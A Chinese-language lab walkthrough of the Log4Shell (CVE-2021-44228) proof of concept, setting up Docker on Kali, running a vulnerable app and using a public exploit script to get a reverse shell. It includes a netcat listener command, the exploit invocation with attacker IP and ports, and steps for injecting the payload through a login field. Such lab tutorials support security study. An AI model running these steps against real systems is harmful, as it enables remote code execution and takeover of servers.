Apache Log4j Shell POC 利用
2021年12月9日,安全研究人员发现了一个用于日志记录的软件库代码中存在缺陷。该软件库 Log4j 基于流行的编程语言 Java 构建,在全球广泛使用的其他软件和应用程序中普遍存在。据估计,Log4j 的这一缺陷在全球超过1亿个实例中存在。
该缺陷在安全社区中也被称为漏洞,由于攻击者利用后可能造成的潜在影响,在通用漏洞评分系统(CVSS)中被评为10分(满分10分)。该漏洞的详细信息可在国家漏洞数据库(NVD)中查询,编号为 CVE-2021–44228。
在本文中,我将使用一个存在漏洞的 Web 应用程序来演示 Apache Log4j 的 POC。
Log4shell POC 仓库:
github.com/kozmer/log4…
搭建漏洞环境
首先,我们需要使用 Docker。以下是适用于 Kali Linux 2021.1 版本的 Docker 安装指南:
准备工作
开始之前,请确保你的 Kali Linux 完全更新。
添加 Docker PGP 密钥(保存到 /usr/share/keyrings/):
curl -fsSL https://download.docker.com/linux/debian/gpg | gpg --dearmor | sudo tee /usr/share/keyrings/docker-archive-keyring.gpg >/dev/null
配置 Docker APT 仓库(Kali 基于 Debian testing,发布时称为 buster,Docker 现已支持):
echo 'deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/debian buster stable' | sudo tee /etc/apt/sources.list.d/docker.list
更新 APT:
sudo apt-get update
安装 Docker
如果你安装了旧版本的 Docker,请先卸载:
sudo apt-get remove -y docker docker-engine docker.io
安装 Docker:
sudo apt-get install -y docker-ce
测试安装:
sudo docker run hello-world
为了允许非 root 用户使用 Docker,将用户添加到 docker 组:
sudo usermod -aG docker $USER
搭建 POC 实验环境
git clone https://github.com/kozmer/log4j-shell-poc
- 构建 Docker 镜像:
docker build -t log4j-shell-poc .
- 运行容器:
docker run --network host log4j-shell-poc
运行后,可以通过 localhost:8080 访问。
设置 POC 脚本
这个 Python 脚本将自动化攻击过程。
依赖安装
pip install -r requirements.txt
使用方法
启动 Netcat 监听器用于反向连接:
nc -lvnp 9001
启动漏洞利用脚本。
注意:为了使此脚本正常工作,解压后的 Java 归档文件必须命名为 jdk1.8.0_20,并放在同一目录下。
下载 JDK 包(需要 Oracle 账号):
下载并解压后,可以在 jdk1.8.0_20/bin 中找到 java 及相关的二进制文件。
tar -xf jdk-8u20-linux-x64.tar.gz
./jdk1.8.0_20/bin/java -version
# 输出示例:
# java version "1.8.0_20"
# Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
# Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
将其重命名为 jdk1.8.0_20(无论你下载的是什么版本,都重命名以匹配 POC)。
启动 POC 利用
运行漏洞利用脚本:
python3 exploit.py --userip <你的IP> --webport 8000 --lport 9001
将漏洞利用 payload 粘贴到用户名字段,输入任意密码,点击登录。
可以看到 exploit.class 脚本立即被发送到服务器。
查看 Netcat 监听器,成功获得反弹 Shell!
这允许我们在服务器上远程执行代码,从而使攻击者能够完全控制任何受影响的系统。 CSD0tFqvECLokhw9aBeRqsQ6oeNthnD6wTeshKWk2GNd8R0gmNBxM/FCAjasnnMfMoAhFBcY0d52XgMHraTmyimdAKBgEaBo+WC9JMDC3fY=